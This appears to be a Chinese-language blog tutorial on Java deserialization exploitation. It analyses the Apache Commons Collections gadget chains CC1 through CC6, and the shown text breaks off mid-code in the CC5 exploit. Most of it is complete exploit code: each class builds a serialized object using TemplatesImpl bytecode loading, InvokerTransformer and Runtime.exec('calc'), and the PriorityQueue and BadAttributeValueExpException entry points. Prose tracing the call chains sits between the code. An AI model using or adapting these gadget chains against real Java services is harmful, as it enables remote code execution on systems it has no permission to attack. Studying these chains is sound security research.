1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class CC1Test { public static void main (String[] args) throws Exception{ byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); chainedTransformer.transform(1 ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC1TransformedMapEXP { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> hashMap=new HashMap <>(); hashMap.put("value" ,"notlus" ); Map transformedMap= TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception { Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object o) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object o=ois.readObject(); return o; } }
(LazyMap
版) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC1LazyMapEXP { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map proxymap=(Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class []{Map.class},invocationHandler); Object o=constructor.newInstance(Override.class,proxymap); serialize(o); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception { Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object o) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
结合CC6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.scenario.animation.shared.TimerReceiver;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC6EXP { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key2" ); hashMap.remove("key1" ); Class<LazyMap> c=LazyMap.class; Field factoryfield=c.getDeclaredField("factory" ); factoryfield.setAccessible(true ); factoryfield.set(lazyMap,chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object o) throws Exception{ java.io.FileOutputStream fileOutputStream=new java .io.FileOutputStream("ser.bin" ); java.io.ObjectOutputStream objectOutputStream=new java .io.ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(o); } public static Object unserialize (String filename) throws Exception{ java.io.FileInputStream fileInputStream=new java .io.FileInputStream(filename); java.io.ObjectInputStream objectInputStream=new java .io.ObjectInputStream(fileInputStream); Object o=objectInputStream.readObject(); return o; } }
0x03利用链分析 和前面的分析一样,我们需要找到调用了newTransformer()
的方法,从而绕过对InvokerTransformer
的限制。继续find usages,我们需要用到的类是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类在它的构造函数中调用了newTransformer
方法,从而免去通过InvokerTransformer
手工调用newTransformer()
这一步
怎么获取TrAFilter
类? 但是我们不能直接调用TrAXFilter
的构造函数,所以我们需要用到另一个类org.apache.commons.collections.functors.InstantiateTransformer
,它有一个transform()
方法
我们找到它的transform
方法,可以利用它来实例化TrAXFilter
1 2 3 4 5 6 7 8 try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs);
最后来看它的构造函数,有了这些,我们就可以先写一个demo了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class InstantiateTransformerTest { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); chainedTransformer.transform(1 ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
0x04最终exp CC3就是在CC1和CC6的基础上,由通过Runtime
类执行命令变成了利用TemplatesImpl
类动态加载字节码。有了前面的铺垫,可以直接写出exp
结合CC1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3verCC1 { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> hashMap=new HashMap <>(); hashMap.put("value" ,"notlus" ); Map transformedMap= TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception { Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object o) throws Exception { java.io.FileOutputStream fileOutputStream=new java .io.FileOutputStream("ser.bin" ); java.io.ObjectOutputStream objectOutputStream=new java .io.ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(o); } public static Object unserialize (String Filename) throws Exception { java.io.FileInputStream fileInputStream=new java .io.FileInputStream(Filename); java.io.ObjectInputStream objectInputStream=new java .io.ObjectInputStream(fileInputStream); Object o=objectInputStream.readObject(); return o; } }
结合CC6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.ArrayStack;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3verCC6 { public static void main (String args[]) throws Exception{ byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key2" ); hashMap.remove("key1" ); Class<LazyMap> lazyMapClass=LazyMap.class; Field factoryField=lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (Files.newInputStream(Paths.get(filename))); Object o=ois.readObject(); return o; } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
0x05总结 CC1的Gadget Chain
如下
1 2 3 4 5 6 7 8 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetvalue() ChainedTransformer.transform() InstantiateTransformer.transform() TrAFilter.newTransformer()
CC6的Gadget Chain
如下
1 2 3 4 5 6 7 8 GadgetChain: HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() InstantiateTransformer.transform() TrAFilter.newTransformer()
CC3主要是绕过对于InvokerTransformer
的过滤
CC2、CC4 前言 commons-collections4
相对于commons-collections
是一个新的包,两者的命名空间并不冲突,因此可以存在于同一个项目中,之前说到的CC1、CC3、CC6在commons-collections4
中仍然生效,而CC4和CC2这两条链就是为commons-collections4
准备的
CC2和CC4的区别只在最后的命令执行方式,CC2使用的是InvokerTransformer
,而CC4使用的是TemplatesImpl
0x00环境准备
jdk1.8.0_8u65
Maven
openJDK8u65
CommonsCollection4.0
0x01利用链分析 CC2用到的两个关键的类是:
PriorityQueue
PriorityQueue
继承了Serializable
接口,重写了readObject
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
注意到最后的heapify
方法,heapify
方法里又调用了siftDown
方法
找到siftDown
方法
注意到siftDownUsingComparator
,里面调用了comparator.compare
方法,就可以连接到TransformingComparator
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
而compare
里又调用了transform
。实际上,在commons-collections
找GadgetChain
的过程就可以简化为找到一条从Serializable.readObject()
到Transformer.transform()
方法的利用链
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
java.util.PriorityQueue
是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有 ⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树
反序列化时为什么需要调⽤ heapify()
⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个 结构的顺序
排序是靠将大的元素下移实现的。 siftDown()
是将节点下移的函数, ⽽ comparator.compare()
⽤来⽐较两个元素⼤⼩
TransformingComparator
实现了 java.util.Comparator
接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。 siftDownUsingComparator()
中就使用这个接⼝的 compare()
⽅法⽐较树的节点。
分析完这两个类之后,我们来总结一下POC的编写思路:
编写Transfomer
类,我们可以直接使用Runtime
进行命令执行,也可以用动态加载字节码的方法
创建一个TransformingComparator
对象,需要传入一个Transformer
实例化PriorityQueue
,我们来看它的构造函数
我们需要传入一个int
值,还要传入一个Comparator
。initialCapacity
是优先权队列的容量大小,comparator
需要传入实例化的TransformingComparator
接下来开始写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.util.Comparator;import java.util.PriorityQueue;public class CC2exp { public static void main (String args[]) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Comparator comparator=new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue=new PriorityQueue (2 ,comparator); priorityQueue.add(1 ); priorityQueue.add(2 ); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
解决问题 如果我们在unserialize()
前打下断点,也会弹出计算器
这一点和CC6有点像,原因是在调用add
方法的时候,会调用offer
方法,而offer
方法当i
不为0的时候,会调用siftUp
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean add (E e) { return offer(e); } public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
当comparator
不为null的时候,在siftUp
里面会调用siftUpUsingComparator
,继而往下执行命令
0x02最终exp 解决办法也和CC6类似,先往TransforminComparator
传入一个无用的值,最后再通过反射的方法修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CC2exp { public static void main (String args[]) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Comparator comparator=new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue=new PriorityQueue (2 ,comparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c=TransformingComparator.class; Field field=c.getDeclaredField("transformer" ); field.setAccessible(true ); field.set(comparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
CC4:TemplatesImpl
动态加载字节码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.time.temporal.Temporal;import java.util.Comparator;import java.util.PriorityQueue;public class CC4exp { public static void main (String[] args) throws Exception{ byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Comparator comparator=new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue=new PriorityQueue (2 ,comparator); priorityQueue.add(templates); priorityQueue.add(templates); Field field=comparator.getClass().getDeclaredField("transformer" ); field.setAccessible(true ); field.set(comparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
0x03总结 CC2和CC4的调用关系还是挺简单的:
1 2 3 4 5 6 7 8 9 GadgetChain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingcomparator() TransformingComparator.compare() InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
1 2 3 4 5 6 7 8 GadgetChain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingcomparator() TransformingComparator.compare() InstantiateTransformer.transform() TrAFilter.newTransform()
CC5 0x00环境准备
jdk1.8.0_8u65
Maven
openJDK8u65
CommonsCollection3.2.1
0x01利用链分析 新的入口类:BadAttributeValueExpException
CC5也是一条不受jdk版本限制的利用链,它的入口方法是BadAttributeValueExpException.readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
注意到val = valObj.toString();
这条代码,我们在调试CC6的时候曾经提到过:**TiedMapEntry
中也有一个toString()
方法,里面调用了getValue()
方法,导致链子提前走完**
先写一个toString()
的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class toStringTest { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, null ); tiedMapEntry.toString(); } }
那后面的链子也就一目了然了,和CC1、CC6
一样getValue()
调用LazyMap.get()
,进而往下调用transform
方法,从而达到命令执行的目的,写出Gadget Chain
1 2 3 4 5 6 7 8 GadgetChain: ObjectInputStream.readObject() BadAttributevalueExpException.readObject() TiedmapEntry.toString() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() java.lang.Runtime.getRUntime.exec()
解决问题:在readObject
中触发toString
如果我们仔细看BadAttributevalueException
的构造函数
如果val
不为null,则会提前触发toString
,进而触发剩下的链子。要解决这个问题还是需要用到反射
1 2 3 Field val=BadAttributeValueExpException.class.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry);
0x02最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws Exception{ Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new 